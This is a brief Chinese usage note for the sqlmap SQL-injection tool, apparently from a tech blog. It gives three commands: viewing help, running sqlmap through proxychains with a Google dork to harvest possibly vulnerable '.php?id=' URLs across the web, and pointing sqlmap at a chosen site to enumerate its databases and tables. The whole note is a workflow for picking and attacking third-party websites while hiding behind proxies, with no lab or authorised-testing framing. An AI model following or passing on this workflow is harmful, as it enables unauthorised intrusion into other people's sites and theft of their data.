时间：2021-07-01 10:21:17 帮助过：15人阅读
1、sqlmap -hh 查看详细说明
2、使用google
proxychains sqlmap -g " inurl:\".php?id=1\" "
自动发现可能有漏洞的url
3、选择上一步得到的url，探测用户名，数据库等等
sqlmap -u "http://www.xxxxxx.com/subcat.php?id=1" --dbs --tables
sqlmap 使用笔记
标签：www google .com class 数据 自动 post 查看 url